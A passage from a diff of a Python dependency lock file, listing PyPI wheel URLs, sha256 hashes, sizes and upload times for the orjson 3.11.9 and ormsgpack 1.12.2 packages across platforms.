141685, upload-time = "2026-05-06T15:09:46.858Z" }, + { url = "https://files.pythonhosted.org/packages/5f/f1/ff2f19ed0225f9680fafa42febca3570dd59444ebf190980738d376214c2/orjson-3.11.9-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:c5d001196b89fa9cf0a4ab79766cd835b991a166e4b621ba95089edc50c429ff", size = 415167, upload-time = "2026-05-06T15:09:48.312Z" }, + { url = "https://files.pythonhosted.org/packages/9b/61/863bddf0da6e9e586765414debd54b4e58db05f560902b6d00658cb88636/orjson-3.11.9-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:16969c9d369c98eb084889c6e4d2d39b77c7eb38ceccf8da2a9fff62ae908980", size = 147913, upload-time = "2026-05-06T15:09:49.733Z" }, + { url = "https://files.pythonhosted.org/packages/b6/8a/4081492586d75b073d60c5271a8d0f05a0955cabf1e34c8473f6fcd84235/orjson-3.11.9-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:63e0efbc991250c0b3143488fa57d95affcabbfc63c99c48d625dd37779aafe2", size = 136959, upload-time = "2026-05-06T15:09:51.311Z" }, + { url = "https://files.pythonhosted.org/packages/0d/bd/70b6ab193594d7abb875320c0a7c8335e846f28968c432c31042409c3c8d/orjson-3.11.9-cp311-cp311-win32.whl", hash = "sha256:14ed654580c1ed2bc217352ec82f91b047aef82951aa71c7f64e0dcb03c0e180", size = 131533, upload-time = "2026-05-06T15:09:52.637Z" }, + { url = "https://files.pythonhosted.org/packages/3f/17/1a1a228183d62d1b77e2c30d210f47dd4768b310ebe1607c63e3c0e3a71e/orjson-3.11.9-cp311-cp311-win_amd64.whl", hash = "sha256:57ea77fb70a448ce87d18fca050193202a3da5e54598f6501ca5476fb66cfe02", size = 127106, upload-time = "2026-05-06T15:09:54.204Z" }, + { url = "https://files.pythonhosted.org/packages/b8/95/285de5fa296d09681ee9c546cd4a8aeb773b701cf343dc125994f4d52953/orjson-3.11.9-cp311-cp311-win_arm64.whl", hash = "sha256:19b72ed11572a2ee51a67a903afbe5af504f84ed6f529c0fe44b0ab3fb5cc697", size = 126848, upload-time = "2026-05-06T15:09:55.551Z" }, + { url = "https://files.pythonhosted.org/packages/16/6d/11867a3ffa3a3608d84a4de51ef4dd0896d6b5cc9132fbe1daf593e677bc/orjson-3.11.9-cp312-cp312-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:9ef6fe90aadef185c7b128859f40beb24720b4ecea95379fc9000931179c3a49", size = 228515, upload-time = "2026-05-06T15:09:57.265Z" }, + { url = "https://files.pythonhosted.org/packages/24/75/05912954c8b288f34fcf5cd4b9b071cb4f6e77b9961e175e56ebb258089f/orjson-3.11.9-cp312-cp312-macosx_15_0_arm64.whl", hash = "sha256:e5c9b8f28e726e97d97696c826bc7bea5d71cecd63576dba92924a32c1961291", size = 128409, upload-time = "2026-05-06T15:09:59.063Z" }, + { url = "https://files.pythonhosted.org/packages/ab/86/1c3a47df3bc8191ea9ac51603bbb872a95167a364320c269f2557911f406/orjson-3.11.9-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:26a473dbb4162108b27901492546f83c76fdcea3d0eadff00ae7a07e18dcce09", size = 132106, upload-time = "2026-05-06T15:10:00.798Z" }, + { url = "https://files.pythonhosted.org/packages/d7/cf/b33b5f3e695ae7d63feef9d915c37cc3b8f465493dcd4f8e0b4c697a2366/orjson-3.11.9-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:011382e2a60fda9d46f1cdee31068cfc52ffe952b587d683ec0463002802a0f4", size = 127864, upload-time = "2026-05-06T15:10:02.15Z" }, + { url = "https://files.pythonhosted.org/packages/31/6a/6cf69385a58208024fcb8c014e2141b8ce838aba6492b589f8acfff97fab/orjson-3.11.9-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c2d3dc759490128c5c1711a53eeaa8ee1d437fd0038ffd2b6008abf46db3f882", size = 135213, upload-time = "2026-05-06T15:10:03.515Z" }, + { url = "https://files.pythonhosted.org/packages/e8/f8/0b1bd3e8f2efcdd376af5c8cfd79eaf13f018080c0089c80ebd724e3c7fb/orjson-3.11.9-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d8ea516b3726d190e1b4297e6f4e7a8650347ae053868a18163b4dd3641d1fff", size = 145994, upload-time = "2026-05-06T15:10:05.083Z" }, + { url = "https://files.pythonhosted.org/packages/f3/59/dab79f61044c529d2c81aecdc589b1f833a1c8dec11ba3b1c2498a02ca7e/orjson-3.11.9-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:380cdce7ba24989af81d0a7013d0aaec5d0e2a21734c0e2681b1bc4f141957fe", size = 132744, upload-time = "2026-05-06T15:10:06.853Z" }, + { url = "https://files.pythonhosted.org/packages/0e/a4/82b7a2fe5d8a67a59ed831b24d59a3d46ea7d207b66e1602d376541d94a6/orjson-3.11.9-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:be4fa4f0af7fa18951f7ab3fc2148e223af211bf03f59e1c6034ec3f97f21d61", size = 134014, upload-time = "2026-05-06T15:10:08.213Z" }, + { url = "https://files.pythonhosted.org/packages/50/c7/375e83a76851b73b2e39f3bcf0e5a19e2b89bad13e5bca97d0b293d27f24/orjson-3.11.9-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a8f5f8bc7ce7d59f08d9f99fa510c06496164a24cb5f3d34537dbd9ca30132e2", size = 141509, upload-time = "2026-05-06T15:10:09.595Z" }, + { url = "https://files.pythonhosted.org/packages/7f/7c/49d5d82a3d3097f641f094f552131f1e2723b0b8cb0fa2874ab65ecfffa6/orjson-3.11.9-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:4d7fde5501b944f83b3e665e1b31343ff6e154b15560a16b7130ea1e594a4206", size = 415127, upload-time = "2026-05-06T15:10:11.049Z" }, + { url = "https://files.pythonhosted.org/packages/3a/dc/7446c538590d55f455647e5f3c61fc33f7108714e7afcffa6a2a033f8350/orjson-3.11.9-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:cde1a448023ba7d5bb4c01c5afb48894380b5e4956e0627266526587ef4e535f", size = 148025, upload-time = "2026-05-06T15:10:12.842Z" }, + { url = "https://files.pythonhosted.org/packages/df/e5/4d2d8af06f788329b4f78f8cc3679bb395392fcaa1e4d8d3c33e85308fa4/orjson-3.11.9-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:71e63adb0e1f1ed5d9e168f50a91ceb93ae6420731d222dc7da5c69409aa47aa", size = 136943, upload-time = "2026-05-06T15:10:14.405Z" }, + { url = "https://files.pythonhosted.org/packages/06/69/850264ccf6d80f6b174620d30a87f65c9b1490aba33fe6b62798e618cad3/orjson-3.11.9-cp312-cp312-win32.whl", hash = "sha256:2d057a602cdd19a0ad680417527c45b6961a095081c0f46fe0e03e304aac6470", size = 131606, upload-time = "2026-05-06T15:10:15.791Z" }, + { url = "https://files.pythonhosted.org/packages/b9/d5/973a43fc9c55e20f2051e9830997649f669be0cb3ca52192087c0143f118/orjson-3.11.9-cp312-cp312-win_amd64.whl", hash = "sha256:59e403b1cc5a676da8eaf31f6254801b7341b3e29efa85f92b48d272637e77be", size = 127101, upload-time = "2026-05-06T15:10:17.129Z" }, + { url = "https://files.pythonhosted.org/packages/fe/ae/495470f0e4a18f73fa10b7f6b84b464ec4cc5291c4e0c7c2a6c400bef006/orjson-3.11.9-cp312-cp312-win_arm64.whl", hash = "sha256:9af678d6488357948f1f84c6cd1c1d397c014e1ae2f98ae082a44eb48f602624", size = 126736, upload-time = "2026-05-06T15:10:18.645Z" }, + { url = "https://files.pythonhosted.org/packages/32/33/93fcc25907235c344ae73122f8a4e01d2d393ef062b4af7d2e2487a32c37/orjson-3.11.9-cp313-cp313-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:4bab1b2d6141fe7b32ae71dac905666ece4f94936efbfb13d55bb7739a3a6021", size = 228458, upload-time = "2026-05-06T15:10:20.079Z" }, + { url = "https://files.pythonhosted.org/packages/8f/27/b1e6dadb3c080313c03fdd8067b85e6a0460c7d8d6a1c3984ef77b904e4d/orjson-3.11.9-cp313-cp313-macosx_15_0_arm64.whl", hash = "sha256:844417969855fc7a41be124aafe83dc424592a7f77cd4501900c67307122b92c", size = 128368, upload-time = "2026-05-06T15:10:21.549Z" }, + { url = "https://files.pythonhosted.org/packages/21/0f/c9ede0bf052f6b4051e64a7d4fa91b725cccf8321a6a786e86eb03519f00/orjson-3.11.9-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ffe02797b5e9f3a9d8292ddcd289b474ad13e81ad83cd1891a240811f1d2cb81", size = 132070, upload-time = "2026-05-06T15:10:23.371Z" }, + { url = "https://files.pythonhosted.org/packages/fd/26/d398e28048dc18205bbe812f2c88cb9b40313db2470778e25964796458fe/orjson-3.11.9-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:0e4eed3b200023042814d2fc8a5d2e880f13b52e1ed2485e83da4f3962f7dc1a", size = 127892, upload-time = "2026-05-06T15:10:24.714Z" }, + { url = "https://files.pythonhosted.org/packages/66/60/52b0054c4c700d5aa7fc5b7ca96917400d8f061307778578e67a10e25852/orjson-3.11.9-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8aff7da9952a5ad1cef8e68017724d96c7b9a66e99e91d6252e1b133d67a7b10", size = 135217, upload-time = "2026-05-06T15:10:26.084Z" }, + { url = "https://files.pythonhosted.org/packages/d5/97/1e3dc2b2a28b7b2528f403d2fc1d79ec5f39af3bc143ab65d3ec26426385/orjson-3.11.9-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4d4e98d6f3b8afed8bc8cd9718ec0cdf46661826beefb53fe8eafb37f2bf0362", size = 145980, upload-time = "2026-05-06T15:10:28.062Z" }, + { url = "https://files.pythonhosted.org/packages/fc/39/31fbfe7850f2de32dee7e7e5c09f26d403ab01e440ac96001c6b01ad3c99/orjson-3.11.9-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3a81d52442a7c99b3662333235b3adf96a1715864658b35bb797212be7bddb97", size = 132738, upload-time = "2026-05-06T15:10:29.727Z" }, + { url = "https://files.pythonhosted.org/packages/a1/08/dca0082dd2a194acb93e5457e73455388e2e2ca464a2672449a9ddbb679d/orjson-3.11.9-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4e39364e726a8fff737309aff059ff67d8a8c8d5b677be7bb49a8b3e84b7e218", size = 134033, upload-time = "2026-05-06T15:10:31.152Z" }, + { url = "https://files.pythonhosted.org/packages/11/d4/5bdb0626801230139987385554c5d4c42255218ac906525bf4347f22cd95/orjson-3.11.9-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:4fd66214623f1b17501df9f0543bef0b833979ab5b6ded1e1d123222866aa8c9", size = 141492, upload-time = "2026-05-06T15:10:32.641Z" }, + { url = "https://files.pythonhosted.org/packages/fa/88/a21fb53b3ede6703aede6dce4710ed4111e5b201cfa6bbff5e544f9d47d7/orjson-3.11.9-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:8ecc30f10465fa1e0ce13fd01d9e22c316e5053a719a8d915d4545a09a5ff677", size = 415087, upload-time = "2026-05-06T15:10:34.438Z" }, + { url = "https://files.pythonhosted.org/packages/3d/57/1b30daf70f0d8180e9a73cefbfbdd99e4bf19eb020466502b01fba7e0e50/orjson-3.11.9-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:97db4c94a7db398a5bd636273324f0b3fd58b350bbbac8bb380ceb825a9b40f4", size = 148031, upload-time = "2026-05-06T15:10:36.358Z" }, + { url = "https://files.pythonhosted.org/packages/04/83/45fbb6d962e260807f99441db9613cee868ceda4baceda59b3720a563f97/orjson-3.11.9-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9f78cf8fec5bd627f4082b8dfeac7871b43d7f3274904492a43dab39f18a19a0", size = 136915, upload-time = "2026-05-06T15:10:38.013Z" }, + { url = "https://files.pythonhosted.org/packages/5f/cc/2d10025f9056d376e4127ec05a5808b218d46f035fdc08178a5411b34250/orjson-3.11.9-cp313-cp313-win32.whl", hash = "sha256:d4087e5c0209a0a8efe4de3303c234b9c44d1174161dcd851e8eea07c7560b32", size = 131613, upload-time = "2026-05-06T15:10:39.569Z" }, + { url = "https://files.pythonhosted.org/packages/67/bd/2775ff28bfe883b9aa1ff348300542eb2ef1ee18d8ae0e3a49846817a865/orjson-3.11.9-cp313-cp313-win_amd64.whl", hash = "sha256:051b102c93b4f634e89f3866b07b9a9a98915ada541f4ec30f177067b2694979", size = 127086, upload-time = "2026-05-06T15:10:41.262Z" }, + { url = "https://files.pythonhosted.org/packages/91/2b/d26799e580939e32a7da9a39531bc9e58e15ca32ffaa6a8cb3e9bb0d22cd/orjson-3.11.9-cp313-cp313-win_arm64.whl", hash = "sha256:cce9127885941bd28f080cecf1f1d288336b7e0d812c345b08be88b572796254", size = 126696, upload-time = "2026-05-06T15:10:42.651Z" }, + { url = "https://files.pythonhosted.org/packages/8e/eb/5da01e356015aee6ecfa1187ced87aef51364e306f5e695dd52719bf0e78/orjson-3.11.9-cp314-cp314-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:b6ef1979adc4bc243523f1a2ba91418030a8e29b0a99cbe7e0e2d6807d4dce6e", size = 228465, upload-time = "2026-05-06T15:10:44.097Z" }, + { url = "https://files.pythonhosted.org/packages/64/62/3e0e0c14c957133bcd855395c62b55ed4e3b0af23ffea11b032cb1dcbdb1/orjson-3.11.9-cp314-cp314-macosx_15_0_arm64.whl", hash = "sha256:f36b7f32c7c0db4a719f1fc5824db4a9c6f8bd1a354debb91faf26ebf3a4c71e", size = 128364, upload-time = "2026-05-06T15:10:45.839Z" }, + { url = "https://files.pythonhosted.org/packages/5a/5a/07d8aa117211a8ed7630bda80c8c0b14d04e0f8dcf99bcf49656e4a710eb/orjson-3.11.9-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:08f4d8ebb44925c794e535b2bebc507cebf32209df81de22ae285fb0d8d66de0", size = 132063, upload-time = "2026-05-06T15:10:47.267Z" }, + { url = "https://files.pythonhosted.org/packages/d6/ec/4acaf21483e18aa945be74a474c74b434f284b549f275a0a39b9f98956e9/orjson-3.11.9-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:6cc7923789694fd58f001cbcac7e47abc13af4d560ebbfcf3b41a8b1a0748124", size = 122356, upload-time = "2026-05-06T15:10:48.765Z" }, + { url = "https://files.pythonhosted.org/packages/13/d8/5f0555e7638801323b7a75850f92e7dfa891bc84fe27a1ba4449170d1200/orjson-3.11.9-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ea5c46eb2d3af39e806b986f4b09d5c2706a1f5afde3cbf7544ce6616127173c", size = 129592, upload-time = "2026-05-06T15:10:50.13Z" }, + { url = "https://files.pythonhosted.org/packages/b6/30/ed9860412a3603ceb3c5955bfd72d28b9d0e7ba6ed81add14f83d7114236/orjson-3.11.9-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f5d89a2ed90731df3be64bab0aa44f78bff39fdc9d71c291f4a8023aa46425b7", size = 140491, upload-time = "2026-05-06T15:10:51.582Z" }, + { url = "https://files.pythonhosted.org/packages/d0/17/adc514dea7ac7c505527febf884934b815d34f0c7b8693c1a8b39c5c4a57/orjson-3.11.9-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:25e4aed0312d292c09f61af25bba34e0b2c88546041472b09088c39a4d828af1", size = 127309, upload-time = "2026-05-06T15:10:53.329Z" }, + { url = "https://files.pythonhosted.org/packages/76/3e/c0b690253f0b82d86e99949af13533363acfb5432ecb5d53dd5b3bce9c34/orjson-3.11.9-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aaea64f3f467d22e70eeed68bdccb3bc4f83f650446c4a03c59f2cba28a108db", size = 134030, upload-time = "2026-05-06T15:10:54.988Z" }, + { url = "https://files.pythonhosted.org/packages/c1/7a/bc82a0bb25e9faaf92dc4d9ef002732efc09737706af83e346788641d4a7/orjson-3.11.9-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a028425d1b440c5d92a6be1e1a020739dfe67ea87d96c6dbe828c1b30041728b", size = 141482, upload-time = "2026-05-06T15:10:56.663Z" }, + { url = "https://files.pythonhosted.org/packages/01/55/e69188b939f77d5d32a9833745ace31ea5ccae3ab613a1ec185d3cd2c4fb/orjson-3.11.9-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:5b192c6cf397e4455b11523c5cf2b18ed084c1bbd61b6c0926344d2129481972", size = 415178, upload-time = "2026-05-06T15:10:58.446Z" }, + { url = "https://files.pythonhosted.org/packages/2e/1a/b8a5a7ac527e80b9cb11d51e3f6689b709279183264b9ec5c7bc680bb8b5/orjson-3.11.9-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:ea407d4ccf5891d667d045fecae97a7a1e5e87b3b97f97ae1803c2e741130be0", size = 148089, upload-time = "2026-05-06T15:11:00.441Z" }, + { url = "https://files.pythonhosted.org/packages/97/4e/00503f64204bf859b37213a63927028f30fb6268cd8677fb0a5ad48155e1/orjson-3.11.9-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5f63aaf97afd9f6dec5b1a68e1b8da12bfccb4cb9a9a65c3e0b6c847849e7586", size = 136921, upload-time = "2026-05-06T15:11:02.176Z" }, + { url = "https://files.pythonhosted.org/packages/0d/ba/a23b82a0a8d0ed7bed4e5f5035aae751cad4ff6a1e8d2ecd14d8860f5929/orjson-3.11.9-cp314-cp314-win32.whl", hash = "sha256:e30ab17845bb9fa54ccf67fa4f9f5282652d54faa6d17452f47d0f369d038673", size = 131638, upload-time = "2026-05-06T15:11:03.696Z" }, + { url = "https://files.pythonhosted.org/packages/f3/c3/0c6798456bade745c75c452342dabacce5798196483e77e643be1f53877d/orjson-3.11.9-cp314-cp314-win_amd64.whl", hash = "sha256:32ef5f4283a3be81913947d19608eacb7c6608026851123790cd9cc8982af34b", size = 127078, upload-time = "2026-05-06T15:11:05.123Z" }, + { url = "https://files.pythonhosted.org/packages/16/21/5a3f1e8913103b703a436a5664238e5b965ec392b555fe68943ea3691e6b/orjson-3.11.9-cp314-cp314-win_arm64.whl", hash = "sha256:eebdbdeef0094e4f5aefa20dcd4eb2368ab5e7a3b4edea27f1e7b2892e009cf9", size = 126687, upload-time = "2026-05-06T15:11:06.602Z" }, +] + +[[package]] +name = "ormsgpack" +version = "1.12.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/12/0c/f1761e21486942ab9bb6feaebc610fa074f7c5e496e6962dea5873348077/ormsgpack-1.12.2.tar.gz", hash = "sha256:944a2233640273bee67521795a73cf1e959538e0dfb7ac635505010455e53b33", size = 39031, upload-time = "2026-01-18T20:55:28.023Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/93/fa/a91f70829ebccf6387c4946e0a1a109f6ba0d6a28d65f628bedfad94b890/ormsgpack-1.12.2-cp310-cp310-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:c1429217f8f4d7fcb053523bbbac6bed5e981af0b85ba616e6df7cce53c19657", size = 378262, upload-time = "2026-01-18T20:55:22.284Z" }, + { url = "https://files.pythonhosted.org/packages/5f/62/3698a9a0c487252b5c6a91926e5654e79e665708ea61f67a8bdeceb022bf/ormsgpack-1.12.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5f13034dc6c84a6280c6c33db7ac420253852ea233fc3ee27c8875f8dd651163", size = 203034, upload-time = "2026-01-18T20:55:53.324Z" }, + { url = "https://files.pythonhosted.org/packages/66/3a/f716f64edc4aec2744e817660b317e2f9bb8de372338a95a96198efa1ac1/ormsgpack-1.12.2-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:59f5da97000c12bc2d50e988bdc8576b21f6ab4e608489879d35b2c07a8ab51a", size = 210538, upload-time = "2026-01-18T20:55:20.097Z" }, + { url = "https://files.pythonhosted.org/packages/72/30/a436be9ce27d693d4e19fa94900028067133779f09fc45776db3f689c822/ormsgpack-1.12.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9e4459c3f27066beadb2b81ea48a076a417aafffff7df1d3c11c519190ed44f2", size = 212401, upload-time = "2026-01-18T20:55:46.447Z" }, + { url = "https://files.pythonhosted.org/packages/10/c5/cde98300fd33fee84ca71de4751b19aeeca675f0cf3c0ec4b043f40f3b76/ormsgpack-1.12.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:7a1c460655d7288407ffa09065e322a7231997c0d62ce914bf3a96ad2dc6dedd", size = 387080, upload-time = "2026-01-18T20:56:00.884Z" }, + { url = "https://files.pythonhosted.org/packages/6a/31/30bf445ef827546747c10889dd254b3d84f92b591300efe4979d792f4c41/ormsgpack-1.12.2-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:458e4568be13d311ef7d8877275e7ccbe06c0e01b39baaac874caaa0f46d826c", size = 482346, upload-time = "2026-01-18T20:55:39.831Z" }, + { url = "https://files.pythonhosted.org/packages/2e/f5/e1745ddf4fa246c921b5ca253636c4c700ff768d78032f79171289159f6e/ormsgpack-1.12.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:8cde5eaa6c6cbc8622db71e4a23de56828e3d876aeb6460ffbcb5b8aff91093b", size = 425178, upload-time = "2026-01-18T20:55:27.106Z" }, + { url = "https://files.pythonhosted.org/packages/8d/a2/e6532ed7716aed03dede8df2d0d0d4150710c2122647d94b474147ccd891/ormsgpack-1.12.2-cp310-cp310-win_amd64.whl", hash = "sha256:dc7a33be14c347893edbb1ceda89afbf14c467d593a5ee92c11de4f1666b4d4f", size = 117183, upload-time = "2026-01-18T20:55:55.52Z" }, + { url = "https://files.pythonhosted.org/packages/4b/08/8b68f24b18e69d92238aa8f258218e6dfeacf4381d9d07ab8df303f524a9/ormsgpack-1.12.2-cp311-cp311-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:bd5f4bf04c37888e864f08e740c5a573c4017f6fd6e99fa944c5c935fabf2dd9", size = 378266, upload-time = "2026-01-18T20:55:59.876Z" }, + { url = "https://files.pythonhosted.org/packages/0d/24/29fc13044ecb7c153523ae0a1972269fcd613650d1fa1a9cec1044c6b666/ormsgpack-1.12.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:34d5b28b3570e9fed9a5a76528fc7230c3c76333bc214798958e58e9b79cc18a", size = 203035, upload-time = "2026-01-18T20:55:30.59Z" }, + { url = "https://files.pythonhosted.org/packages/ad/c2/00169fb25dd8f9213f5e8a549dfb73e4d592009ebc85fbbcd3e1dcac575b/ormsgpack-1.12.2-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3708693412c28f3538fb5a65da93787b6bbab3484f6bc6e935bfb77a62400ae5", size = 210539, upload-time = "2026-01-18T20:55:48.569Z" }, + { url = "https://files.pythonhosted.org/packages/1b/33/543627f323ff3c73091f51d6a20db28a1a33531af30873ea90c5ac95a9b5/ormsgpack-1.12.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:43013a3f3e2e902e1d05e72c0f1aeb5bedbb8e09240b51e26792a3c89267e181", size = 212401, upload-time = "2026-01-18T20:56:10.101Z" }, + { url = "https://files.pythonhosted.org/packages/e8/5d/f70e2c3da414f46186659d24745483757bcc9adccb481a6eb93e2b729301/ormsgpack-1.12.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:7c8b1667a72cbba74f0ae7ecf3105a5e01304620ed14528b2cb4320679d2869b", size = 387082, upload-time = "2026-01-18T20:56:12.047Z" }, + { url = "https://files.pythonhosted.org/packages/c0/d6/06e8dc920c7903e051f30934d874d4afccc9bb1c09dcaf0bc03a7de4b343/ormsgpack-1.12.2-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:df6961442140193e517303d0b5d7bc2e20e69a879c2d774316125350c4a76b92", size = 482346, upload-time = "2026-01-18T20:56:05.152Z" }, + { url = "https://files.pythonhosted.org/packages/66/c4/f337ac0905eed9c393ef990c54565cd33644918e0a8031fe48c098c71dbf/ormsgpack-1.12.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:c6a4c34ddef109647c769d69be65fa1de7a6022b02ad45546a69b3216573eb4a", size = 425181, upload-time = "2026-01-18T20:55:37.83Z" }, + { url = "https://files.pythonhosted.org/packages/78/29/6d5758fabef3babdf4bbbc453738cc7de9cd3334e4c38dd5737e27b85653/ormsgpack-1.12.2-cp311-cp311-win_amd64.whl", hash = "sha256:73670ed0375ecc303858e3613f407628dd1fca18fe6ac57b7b7ce66cc7bb006c", size = 117182, upload-time = "2026-01-18T20:55:31.472Z" }, + { url = "https://files.pythonhosted.org/packages/c4/57/17a15549233c37e7fd054c48fe9207492e06b026dbd872b826a0b5f833b6/ormsgpack-1.12.2-cp311-cp311-win_arm64.whl", hash = "sha256:c2be829954434e33601ae5da328cccce3266b098927ca7a30246a0baec2ce7bd", size = 111464, upload-time = "2026-01-18T20:55:38.811Z" }, + { url = "https://files.pythonhosted.org/packages/4c/36/16c4b1921c308a92cef3bf6663226ae283395aa0ff6e154f925c32e91ff5/ormsgpack-1.12.2-cp312-cp312-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:7a29d09b64b9694b588ff2f80e9826bdceb3a2b91523c5beae1fab27d5c940e7", size = 378618, upload-time = "2026-01-18T20:55:50.835Z" }, + { url = "https://files.pythonhosted.org/packages/c0/68/468de634079615abf66ed13bb5c34ff71da237213f29294363beeeca5306/ormsgpack-1.12.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0b39e629fd2e1c5b2f46f99778450b59454d1f901bc507963168985e79f09c5d", size = 203186, upload-time = "2026-01-18T20:56:11.163Z" }, + { url = "https://files.pythonhosted.org/packages/73/a9/d756e01961442688b7939bacd87ce13bfad7d26ce24f910f6028178b2cc8/ormsgpack-1.12.2-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:958dcb270d30a7cb633a45ee62b9444433fa571a752d2ca484efdac07480876e", size = 210738, upload-time = "2026-01-18T20:56:09.181Z" }, + { url = "https://files.pythonhosted.org/packages/7b/ba/795b1036888542c9113269a3f5690ab53dd2258c6fb17676ac4bd44fcf94/ormsgpack-1.12.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:58d379d72b6c5e964851c77cfedfb386e474adee4fd39791c2c5d9efb53505cc", size = 212569, upload-time = "2026-01-18T20:56:06.135Z" }, + { url = "https://files.pythonhosted.org/packages/6c/aa/bff73c57497b9e0cba8837c7e4bcab584b1a6dbc91a5dd5526784a5030c8/ormsgpack-1.12.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8463a3fc5f09832e67bdb0e2fda6d518dc4281b133166146a67f54c08496442e", size = 387166, upload-time = "2026-01-18T20:55:36.738Z" }, + { url = "https://files.pythonhosted.org/packages/d3/cf/f8283cba44bcb7b14f97b6274d449db276b3a86589bdb363169b51bc12de/ormsgpack-1.12.2-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:eddffb77eff0bad4e67547d67a130604e7e2dfbb7b0cde0796045be4090f35c6", size = 482498, upload-time = "2026-01-18T20:55:29.626Z" }, + { url = "https://files.pythonhosted.org/packages/05/be/71e37b852d723dfcbe952ad04178c030df60d6b78eba26bfd14c9a40575e/ormsgpack-1.12.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:fcd55e5f6ba0dbce624942adf9f152062135f991a0126064889f68eb850de0dd", size = 425518, upload-time = "2026-01-18T20:55:49.556Z" }, + { url = "https://files.pythonhosted.org/packages/7a/0c/9803aa883d18c7ef197213cd2cbf73ba76472a11fe100fb7dab2884edf48/ormsgpack-1.12.2-cp312-cp312-win_amd64.whl", hash = "sha256:d024b40828f1dde5654faebd0d824f9cc29ad46891f626272dd5bfd7af2333a4", size = 117462, upload-time = "2026-01-18T20:55:47.726Z" }, + { url = "https://files.pythonhosted.org/packages/c8/9e/029e898298b2cc662f10d7a15652a53e3b525b1e7f07e21fef8536a09bb8/ormsgpack-1.12.2-cp312-cp312-win_arm64.whl", hash = "sha256:da538c542bac7d1c8f3f2a937863dba36f013108ce63e55745941dda4b75dbb6", size = 111559, upload-time = "2026-01-18T20:55:54.273Z" }, + { url = "https://files.pythonhosted.org/packages/eb/29/bb0eba3288c0449efbb013e9c6f58aea79cf5cb9ee1921f8865f04c1a9d7/ormsgpack-1.12.2-cp313-cp313-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:5ea60cb5f210b1cfbad8c002948d73447508e629ec375acb82910e3efa8ff355", size = 378661, upload-time = "2026-01-18T20:55:57.765Z" }, + { url = 